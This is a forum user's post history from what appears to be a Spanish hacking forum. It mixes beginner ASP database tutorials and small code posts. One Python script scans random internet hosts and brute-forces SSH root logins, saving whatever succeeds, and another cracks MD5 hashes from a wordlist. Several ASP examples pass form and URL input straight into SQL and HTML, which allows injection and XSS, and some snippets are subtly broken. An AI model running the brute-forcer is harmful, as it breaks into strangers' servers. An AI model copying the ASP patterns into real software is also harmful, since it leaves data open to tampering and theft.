Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - @ed33x

#1
Bueno revisa estas secciones, busca antes de preguntar que seguro que encuentras bro :P

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos
#2
Es una pregunta muy sencilla... m.. como decirlo... avanza en los temas que ya sabes... por ejemplo...

Tu cuando empiezas una tarea la dejas a medias y empiezas otra? ...
Dale bien fuerte a esos 4 lenguajes de programacion, aprende TODO sobre esos 4 lenguajes de programacion.
Vale que esta bien saber un poco de todo, pero si ya as llegado al punto de.. como continuo es facil...

Un Saludo.
#3
Dudas y pedidos generales / Re:Tutorial IndSocket Rat
Febrero 10, 2011, 04:02:08 PM
Genial ^^! Cierro post:O
#4
Dudas y pedidos generales / Re:Fuerza Bruta
Febrero 06, 2011, 07:36:53 AM
y de que juego estas ablando ^^?
#5
1 - Conexion con DSN (ejemplo para Access)

La conexion con DSN es la mas comoda, pero solo se puede utilizar si tenemos acceso al Panel de Control de la maquina servidor. Por supuesto si estamos contruyendo una intranet tenemos el server a nuestro alcanze y a su Panel de Control.
Si simplemente estamos aprendiendo ASP y usamos el PWS (Personal Web Server) o el IIS 4 de NT tambien disponemos de esta comodidad.
Veamos como se realiza la conexion a una base de datos de Microsoft Access:

Creamos nuestra base de Datos en Microsoft Access y la guardamos. Luego vamos a Inicio > Configuracion > Panel de Control y alli elegimos Fuentes de Datos ODBC
Al ingresar nos encontramos con una pantalla que es el administrador de origenes de datos ODBC. En la solapa DSN de Usuario presionamos el boton Agregar. Luego seleccionamos Microsoft Access Driver (*.mdb) y presionamos Finalizar. Ahora se hara la conexion ODBC. Presionamos el boton Seleccionar y elegimos nuestra Base de Datos e ingresamos el nombre de la base en el primer campo.
Por ultimo el boton Aceptar
Si todo salio bien deberi­a aparecer el nombre de nuestra Base de Datos en la solapa DSN de usuario y ya tendremos hecha nuestra conexion ODBC a BS.

Ahora debemos conectar la base de datos en la pagina ASP

Código: asp.net
<%
'Definimos la variable para la conexion.
Dim Conex
Set Conex = Server.CreateObject ("ADODB.Connection")
'y ya estamos conectados a nuestra base de datos.
Conex.Open "nombre de la BD"
'aqui abrimos la tabla. ...
%>


Como vieron no es algo dificil... solo hay que aprenderser la linea de conexion. Pero recuerden que esto no servira si suben su BS y su sitio a internet. Para esto deben usar la siguiente conexon.

2 - Conexion sin DSN

Este tipo de conexion es mas complicada, pero es lo que debemos utilizar si queremos olvidar el panel de control, ya que hacemos la conexion a la base de datos mediante comandos. Ademas es mas rapida ;)
Observar bien bien la sintaxis... ya que es lo que nos trae los problemas siempre.

Para Access usando ODBC:
Código: asp.net
<%
Dim Conex
'Creamos el objeto de conexion ahora...
Set Conex = Server.CreateObject ("ADODB.Connection")
Conex.open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=C:\misitio\db\mibase.mdb;"
%>


Para Access 97 usando OLEDB:
Código: asp.net
<%
Dim Conex
'Creamos el objeto de conexion ahora...
Set Conex = Server.CreateObject ("ADODB.Connection")
Conex.Open "Provider=Microsoft.Jet.OLEDB.3.51; Data Source=C:\misitio\db\mibase.mdb;"
%>


Para Access 2000 usando OLEDB:
Código: asp.net
<%
Dim Conex
'Creamos el objeto de conexion ahora...
Set Conex = Server.CreateObject ("ADODB.Connection")
Conex.open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=C:\misitio\db\mibase.mdb;"
%>


Para SQL Sever:

Código: asp.net
<%
Dim Conex
'Creamos el objeto de conexion ahora...
Set Conex = Server.CreateObject ("ADODB.Connection")
Conex.Open "driver={SQL Server};server=TU_SERVIDOR; database=NOMBRE_BASE; uid=sa;pwd="
%>


Importante: En los 3 primeros ejemplos, referidos todos a conexiones con bases de datos Access, use un path fijo. Lo puse asi, para el mejor entendimiento, pero generalmente se hace uso de la funcion Server.MapPath()  la cual devuelve el path donde ejecutamos el script

Les intentare explicar el uso de esa funcion mediante un ejemplo que no tiene que ver con conexion a base de datos, pero intentare que se relacione.
Código: asp.net
<%
Dim path
'guardamos en la variable path lo que devuelve la funcion
path = Server.MapPath("./")
Response.Write path
%>


El codigo ejecutado, muestra el contenido de la variable path
Como ven la variable path contiene el directorio donde se ejecuta el script.



Fuente :soloasp.com.ar
#6
Como actualizar un registro ya existente

Para mostrar como se actualiza un registro presente en nuestra base de datos, vamos a hacerlo a partir de un caso un poco mas complejo para que empecemos a familiarizarnos con estas operaciones. Realizaremos un par de scripts que permitan cambiar el numero de telefono de las distintas personas presentes en nuestra base. El nombre de estas personas, asi­ como el nuevo numero de telefono, seran recogidos por medio de un formulario.

El archivo del formulario va a ser esta vez un script ASP en el que efectuaremos una llamada a nuestra base de datos para construir un menu desplegable donde aparezcan todos los nombres. La cosa quedari­a asi­:

Código: html5
<HTML>
<HEAD>
<TITLE>Actualizar1.asp</TITLE>
</HEAD>
<BODY>
<div align="center">
<h1>Actualizar un registro</h1>
<br>


<%
'Instanciamos y abrimos nuestro objeto conexion
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Mibase"
%>



<FORM METHOD="POST" ACTION="actualizar2.asp">
Nombre<br>
<%
'Creamos la sentencia SQL y la ejecutamos
sSQL="Select nombre From clientes Order By nombre"
set RS = Conn.Execute(sSQL)
%>
<select name="nombre">
<%
'Generamos el menu desplegable

Do While not RS.eof%>

<option><%=RS("nombre")%>

<%RS.movenext

Loop

%>

</select>

<br>

Telefono<br>

<INPUT TYPE="TEXT" NAME="telefono"><br>

<INPUT TYPE="SUBMIT" value="Actualizar">

</FORM>

</div>

</BODY>
</HTML>

La manera de operar para construir el menu desplegable es la misma que para visualizar la tabla. De nuevo empleamos un bucle Do While que nos permite mostrar cada una de las opciones.

El script de actualizacion sera muy parecido al de insercion:
<TITLE>Actualizar2.asp</TITLE>
</HEAD>
<BODY>

<%
'Recogemos los valores del formulario
nombre=Request.Form("nombre")
telefono= Request.Form("telefono")

'Instanciamos y abrimos nuestro objeto conexion
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Mibase"

'Ahora creamos la sentencia SQL
sSQL="Update Clientes Set telefono='" & telefono & "' Where nombre='" &
nombre & "'"

'Ejecutamos la orden
set RS = Conn.Execute(sSQL)
%>

<h1><div align="center">Registro Actualizado</div></h1>
<div align="center"><a href="lectura.asp">Visualizar el contenido de la
base</a></div>

<%
'Cerramos el sistema de conexion
Conn.Close
%>
</BODY>
</HTML>


Nada que comentar al respecto salvo la estructura de la sentencia SQL que en este caso realiza un Update en lugar de un Insert. Aconsejamos, como para el caso precedente imprimir el valor de sSQL de manera a ver como queda la sentencia una vez construida.




No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#7
En este arti­culo les mostraremos algunos trucos y consejos para agilizar la velocidad en que cargan tus paginas programadas en ASP. En muchos casos, estas cargan lentamente ya que estan programadas con algunos errores que llevan a sobrecargar los recursos del servidor dejando el sitio sin funcionar o con escasos recursos.

Estado de las sesiones (Session State)
Si no vamos a utilizar ninguna variable de tipo session dentro del sitio, podemos deshabilitarlas. Debemos ubicar las siguientes li­neas al principio del archivo .asp:

Código: asp.net

<%
@ language = "VBScript"
ENABLESESSIONSTATE = False
%>

Response.Buffer
Esta li­nea le dira al Servidor que ejecute todo el codigo despues de enviar cualquier informacion al cliente.
Código: asp.net

<%
Response.Buffer = True
%>

Cerrar las conexiones y recordsets
Cuando realizamos cualquier tipo de conexion debemos asegurarnos de cerrarla al finalizar el script. Ademas de practicar la codificacion en ASP nos permite prevenir la corrupcion de una base de datos Access.
Código: asp.net

<%
recorset.close
conexion.close
set recordset=Nothing
set conexion=Nothing
%>

Option Explicit
Usando esta opcion es posible debuguear los scripts mas rapidamente. Ademas ayudara a aprender a la fuerza la codificacion en ASP, ya que habilitando esta opcion deberemos declarar todas las variables.
Código: asp.net

<%
OPTION EXPLICIT
%>




Informe (ASP) de fabian muller
Webmaster de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#8
En este arti­culo veremos como agregar/eliminar/modificar datos de una base de datos Access utilizando ADO.

Agregando
Almacenaremos los datos utilizando la propiedad AddNew del Recordset, y luego la actualizamos la base de datos con la propiedad Update.

Código: asp.net

<%
'Creamos la conexion y el recordset
set cnn = Server.CreateObject("ADODB.Connection")
set rst = Server.CreateObject("ADODB.RecordSet")

'Abrimos la conexion por DNS
cnn.Open "dnsusuarios"

'Ejecutamos una consulta SQL a la tabla
sqltext = "SELECT * FROM tblUsuarios"
rst.Open sqltext,cnn,3,3

'Almacenamos los datos en variables (pueden ser tomados de un formulario, etc.)
nombre="Fabian"
apellido = "Muller"
email="[email protected]"

rst.AddNew
rst("nombre") = nombre
rst("apellido") = apellido
rst("email") = email
rst.update

'Cerramos el recordset y la conexion
rst.Close
set rst = Nothing
cnn.Close
set cnn = Nothing
%>

Modificando
Utilizando la misma tabla, modificaremos un registro de la base de datos, el cual puede ser especificado a traves de una variable session, formulario, querystring, entre otros. En este caso pasaremos el parametro EMAIL por un querystring (ejemplo: [email protected])
Código: asp.net

<%
'Creamos la conexion y el recordset
set cnn = Server.CreateObject("ADODB.Connection")
set rst = Server.CreateObject("ADODB.RecordSet")

'Abrimos la conexion por DNS
cnn.Open "dnsusuarios"

'Ejecutamos una consulta SQL a la tabla
sqltext = "SELECT * FROM tblUsuarios where email ='" & request.querystring("email")&"'"
rst.Open sqltext,cnn,3,3

'Almacenamos los datos en variables (pueden ser tomados de un formulario, etc.)
nombre="Fabian"
apellido = "Muller"
email="[email protected]"

'Modificamos los datos
rst("nombre") = nombre
rst("apellido") = apellido
rst("email") = email
rst.update

'Cerramos el recordset y la conexion
rst.Close
set rst = Nothing
cnn.Close
set cnn = Nothing
%>

Eliminando
Para eliminar un registro realizaremos utilizaremos el mismo parametro que el anterior (ejemplo: [email protected])
Código: asp.net

<%
'Creamos la conexion y el recordset
set cnn = Server.CreateObject("ADODB.Connection")
set rst = Server.CreateObject("ADODB.RecordSet")

'Abrimos la conexion por DNS
cnn.Open "dnsusuarios"

'Ejecutamos una consulta SQL a la tabla, y eliminamos el registro
sqltext = "DELETE * FROM tblUsuarios where email ='" & request.querystring("email")&"'"
rst.Open sqltext,cnn

'Cerramos el recordset y la conexion
rst.Close
set rst = Nothing
cnn.Close
set cnn = Nothing
%>

De esta manera podemos realizar un ABM (Altas, Bajas y Modificaciones) de los registros almacenados en una base de datos.




Informe (ASP) de fabian muller
Webmaster de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta[/code]
#9
Uno de los problemas mas ti­picos con el que se enfrenta todo programador ASP, especialmente al principio, es como aceptar comillas simples (') en una sentencia SQL.

Pues es muy sencillo, para aceptar una comilla simple hay que escaparla, poniendo 2. Igual que cuando queremos escribir una comilla doble en un Response.Write ponemos dos seguidas.

Si estas recogiendo los datos desde un formulario por ejemplo, un pequeño uso de Replace nos hara esto:

Código: asp.net
<%
Dim texto, num

num = 5
texto = Request.Form("Texto")
texto = Replace(texto, "'", "''")
SQL="INSERT INTO Tabla (Texto, Numero) VALUES (" & texto & ", " & num &")"
...
%>


Muy sencillo. Replace acepta como primer argumento la cadena donde se va a reemplazar, como segundo la cadena a buscar y como tercer la cadena de reemplazo. Asi­ que ponemos como segundo argumento una comilla simple y como tercer dos comillas simples juntas (ambos entre comillas dobles, claro).



Fuente:aspfacil.com
#10
Para trabajar con archivos en ASP debemos utilizar el Objeto Sistema de Archivos, en adelante FSO, que crearemos de la siguiente manera:
Código: asp.net
<% 
'Creamos el objeto FSO
set FSO = server.createObject("Scripting.FileSystemObject")

'...

Set FSO = Nothing
%>


Ahora ya podemos crear descriptores de fichero usando la funcion OpenTextFile del FSO y a partir de ahi­ empezar a leer y escribir:
Código: asp.net
<% 
set FSO = server.createObject("Scripting.FileSystemObject")
'Creamos el descriptor de fichero
Set FD = FSO.OpenTextFile("c:\ejemplo.txt", 1)

'...

Set FSO = Nothing
%>


En el ejemplo abrimos un descriptor de fichero apuntando al fichero "c:\ejemplo.txt" en modo de lectura (1), si quisieramos que fuera en modo de escritura seri­a con un 2.

Tambien podemos pasar un tercer parametro a OpenTextFile, para indicar si crear o no el fichero en caso de no existir (True o False).

Leer el contenido
Para leer el contenido de un archivo abierto en modo de escritura, utilizaremos la funcion ReadAll del Objeto Descriptor de Fichero (FD), que nos devolvera el contenido del archivo:
Código: asp.net
<% 
set FSO = server.createObject("Scripting.FileSystemObject")
Set FD = FSO.OpenTextFile("c:\ejemplo.txt", 1)
'Escribimos su contenido
Response.Write "El contenido es:<br>" & FD.ReadAll
Set FSO = Nothing
%>


Escribir al archivo
Ahora que sabemos como leer del archivo, veamos como escribir en el, una vez creado el descritor de escritura, haremos lo siguiente:
Código: asp.net
<% 
set FSO = server.createObject("Scripting.FileSystemObject")
Set FD = FSO.OpenTextFile("c:\ejemplo.txt", 1)
'Escribimos su contenido
FD.WriteLine "Escribimos en el fichero"
Set FSO = Nothing
%>


Vemos como escribimos de manera sencilla gracias al metodo writeLine.



Fuente: lawebdelprogramadr
#11
Zona Webmaster / [ASP.NET] Paso de variables por URL
Febrero 02, 2011, 02:02:16 PM
Cuando accedamos a una pagina ASP, le pasaremos los parametros de la siguiente manera: pagina.asp?variable1=valor1&variable2=valor2, de manera que podremos configurar la pagina dependiendo de los valores de las variables pasadas.

Para leer la variable de la URL usaremos request.Querystring (nombre) que nos devolvera el valor de la variable pasada por URL que tiene el nombre pasado por parametro a la funcion Querystring:
Código: asp.net
<% 
Dim variable1, variable2
variable1=request.Querystring ("variable1")
variable2=request.Querystring ("variable2")
response.write ("<b>variable1: </b>" & variable1)
response.write ("<br><b>variable2: </b>" & variable2)
%>


Observar que antes de usar las variables variable1 y variable2 en la pagina, tenemos que definirlas haciendo Dim variable1, variable2.

Despues les daremos valor con la funcion request.Querystring y ya podremos escribir el resultado con response.write para conseguir este claro ejemplo.

Por ejemplo, vamos a imaginar que tenemos una pagina de caratulas, y en una sola pagina queremos que muestre una imagen indicada en una variable pasada por URL de la siguiente manera:

caratula.asp?imagen=234.gif

Y el codigo que usaremos sera:
Código: asp.net
<% 
response.write ("<img src=" & request.Querystring ("imagen") & ">")
%>


Espero que este arti­culo os sea de utilidad, ya se que el nivel no es muy avanzado pero lo que se trata en el es basico para cualquier aplicacion web.

Nota: Algunos buscadores como google no indexan paginas con segun que variable en la url, asi pues, evitaremos usar la variable id si queremos nuestra web en google.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#12
Me puedes decir que Sistema Operativo concretamente usas? Ubuntu?

Saludos
#13
Dudas y pedidos generales / Re:Solicitud de Subforo
Enero 30, 2011, 05:43:02 PM
Cuando subamos de usuarios y se vea mas actividad en dichas secciones se ara una encuesta para haber que vota todo el mundo.

Cierro!
#14
Tema solucionado. Cierro.
#15
Bueno acordaosque no aceptamos seriales, claves, keylogers y demas.

Cierro, TEMA SOLUCIONADO!
#16
Bueno creo que este tema ya esta resuelto.

Cierro.
#17
Códigos Fuentes / Calculadora basica :: eDeex
Enero 30, 2011, 03:56:31 PM
Código: cpp

#include <iostream>
void exit()
{
system("pause");
}
//-------------------------
void encabezado()
{
using namespace std;
cout << "Calculadora basica C++" << endl;
cout << "De [email protected] || Para www.underc0de.org" << endl;
cout << "-------------------------------" << endl;
cout << " 1 = Sumar " << endl;
cout << " 2 = Restar " << endl;
cout << " 3 = Multiplicar " << endl;
cout << " 4 = Dividir " << endl;
cout << " 5 = Salir " << endl;
cout << "-------------------------------" << endl;

}
//-------------------------
int main()
{
using namespace std;
encabezado();
int resultado_menu;
cin >> resultado_menu;
switch (resultado_menu)
{
case 1:
cout << "Introduce las 2 cifras" << endl;
int a_mas, b_mas, resultado_mas;
cin >> a_mas;
cout << "+ " << endl;
cin >> b_mas;
resultado_mas = a_mas + b_mas;
cout << "Resultado: "  << resultado_mas << endl;
break;
case 2:
cout << "Introduce las 2 cifras" << endl;
int a_menos, b_menos, resultado_menos;
cin >> a_menos;
cout << "- " << endl;
cin >> b_menos;
resultado_menos = a_menos - b_menos;
cout << "Resultado: "  << resultado_menos << endl;
break;
case 3:
cout << "Introduce las 2 cifras" << endl;
int a_multi, b_multi, resultado_multi;
cin >> a_multi;
cout << "* " << endl;
cin >> b_multi;
resultado_multi = a_multi * b_multi;
cout << "Resultado: "  << resultado_multi << endl;
break;
case 4:
cout << "Introduce las 2 cifras" << endl;
float a_divide, b_divide, resultado_divide;
cin >> a_divide;
cout << "/ " << endl;
cin >> b_divide;
resultado_divide = a_divide / b_divide;
cout << "Resultado: "  << resultado_divide << endl;
break;
case 5:
cout << "Visita www.underc0de.org" << endl;
break;
default:
cout << "ERROR!!" << endl;
break;

}

exit();
}


Estoy empezando con C++, dentro de poco la are con interface grafica.
Saludos
#18
Python / Md5 Hash cracker (GUI)
Enero 30, 2011, 10:14:04 AM


Código: python
#MD5 Cracker (GUI Version)
#d3hydr8[at]gmail[dot]com
#http://www.darkc0de.com

from Tkinter import *
import tkFileDialog, md5

class Application(Frame):
def __init__(self, master):
Frame.__init__(self, master)
self.grid()
self.create_widget()
def create_widget(self):

self.lbl = Label(self, text = "ENTER MD5: ")
self.lbl.grid(row = 2, column = 0, sticky = E)

self.pw_ent = Entry(self, width = 32)
self.pw_ent.grid(row = 2, column = 1, sticky = E)

self.submit_bttn = Button(self, text = "Choose Wordlist", command = self.loadwords)
self.submit_bttn.grid(row = 5, column = 1, sticky = W)

self.txtbox = Text(self, width = 55, height = 8, font=('Georgia', 8), bg = "#CCC", wrap = WORD)
self.txtbox.grid(row = 7, column = 0, columnspan = 2, sticky = W)

self.bttn1 = Button(self, text = "Crack", font=('courier', 10, 'bold'), command = self.crack)
self.bttn1.grid(row = 9, columnspan = 2, sticky = "WE")

self.clear = Button(self, text="Clear", font=('Georgia', 8), command = self.clear)
self.clear.grid(row = 10, column = 1,sticky= E)

def loadwords(self):
global wordlist
file = tkFileDialog.askopenfile(parent=root,mode='r',title='Choose a file')
wordlist = file.readlines()
self.txtbox.insert(END, "Loaded: "+str(len(wordlist))+" words")

def crack(self):
pw = self.pw_ent.get()
if len(pw) == 32:
self.txtbox.insert(END, "\nCracking: "+pw)
for word in wordlist:
hash = md5.new(word.replace("\n","")).hexdigest()
if pw == hash:
self.txtbox.insert(END, "\n\nCracked: "+word)
break
self.txtbox.insert(END, "\nComplete")
else:
self.txtbox.insert(END, "\nImproper MD5 Length: "+str(len(pw)))

def clear(self):
self.pw_ent.delete(0, END)
    self.txtbox.delete(0.0, END)
wordlist = []

root = Tk()
root.title("MD5 Cracker")
root.geometry("350x200")
app = Application(root)
root.mainloop()
#19
Python / SSH BruteForce
Enero 30, 2011, 10:13:43 AM
Código: python
#!/usr/bin/python
#SSH BruteForcer that scans for random
#open ssh ports using nmap and then brute
#forces them.

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import sys, time, StringIO, commands, re

#Set the successful login file.
save_file = "SSH_Logins.txt"
#Set verbose mode: 1=on 0=off
verbose = 1
#Set the user to use.
user = "root"

try:
import pexpect, pxssh
except(ImportError):
print "\nYou need the pexpect module."
print "http://www.noah.org/wiki/Pexpect\n"
sys.exit(1)

def scan():
args = 'nmap -iR 1 -p 22 -open | grep open -B 3'
nmap = StringIO.StringIO(commands.getstatusoutput(args)[1]).read()
ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", nmap)
if ipaddr:
    return ipaddr[0]

def brute(ip, word):
if verbose != 0:
print "Trying:",word
      try:
        s = pxssh.pxssh()
        s.login (ip, user, word, login_timeout=10)
        s.sendline (command)
        s.prompt()
        print "\n",s.before
        s.logout()
print "\t[!] Login Success:",user, word,"\n"
logins.writelines("SSH Login:"+ip+":22 "+user+" "+word+"\n")
    except Exception, e:
        #print "[-] Failed"
pass
except KeyboardInterrupt:
print "\n[-] Quit\n"
logins.close()
sys.exit(1)

print "\n\t   d3hydr8:darkc0de.com sshBrute/Random v1.0"
print "\t----------------------------------------------"

if len(sys.argv) != 3:
print "\nUsage : ./sshbrute_random.py <how many> <wordlist>"
print "Eg: ./sshbrute_random.py 1000 words.txt\n"
sys.exit(1)

num = sys.argv[1]
command = 'uname -a'
logins = open(save_file, "a")

try:
words = open(sys.argv[2], "r").readlines()
except(IOError):
  print "\n[-] Error: Check your wordlist path\n"
  sys.exit(1)

print "\n[+] Loaded:",len(words),"words"
print "[+] User:",user
print "[+] Save file:",save_file
if verbose != 0:
print "[+] Verbose Mode: On"
else:
print "[+] Verbose Mode: Off"
print "[+] Scanning:",num,"ips\n"

for x in xrange(int(num)):
print "[-] Scanning:",x+1,"of",num
ip = scan()
if ip != None:
print "\n\t[+] BruteForcing:",ip,"\n"
for word in words:
#Change this time if needed
time.sleep(0.5)
brute(ip, word.replace("\n",""))
logins.close()
print "\n[-] Done\n"
#20
Python / Daemons en Python
Enero 30, 2011, 10:12:14 AM
Código: python

By xianur0
def constructor(): #definimos el constructor del daemon
try:
if os.fork() > 0: os._exit(0) #sale si el fork no trabaja bien
except OSError, error:
print 'Error En Fork: %d (%s)' % (error.errno, error.strerror) #lanza el error
# de ejecucion del fork
os._exit(1)
os.chdir('/')
os.setsid()
os.umask(0)
try:
pid = os.fork() #obtiene el PID con el que trabajara nuestro daemon
if pid > 0: #si el pid es mayor a 0 el fork fue correcto
# y tenemos un lugar para nuestro daemon :)..
#Aqui Seria Lo que ejecutara el crearse el daemon, bien podemos solo imprimir el PID
os._exit(0)
except OSError, error:
print 'Error en Fork: %d (%s)' % (error.errno, error.strerror)
os._exit(1)
#Aqui estaria la funcion del daemon (lo que hara nuestro daemon)
if __name__ == '__main__':

constructor() #cargamos nuestro constructor del daemon :)...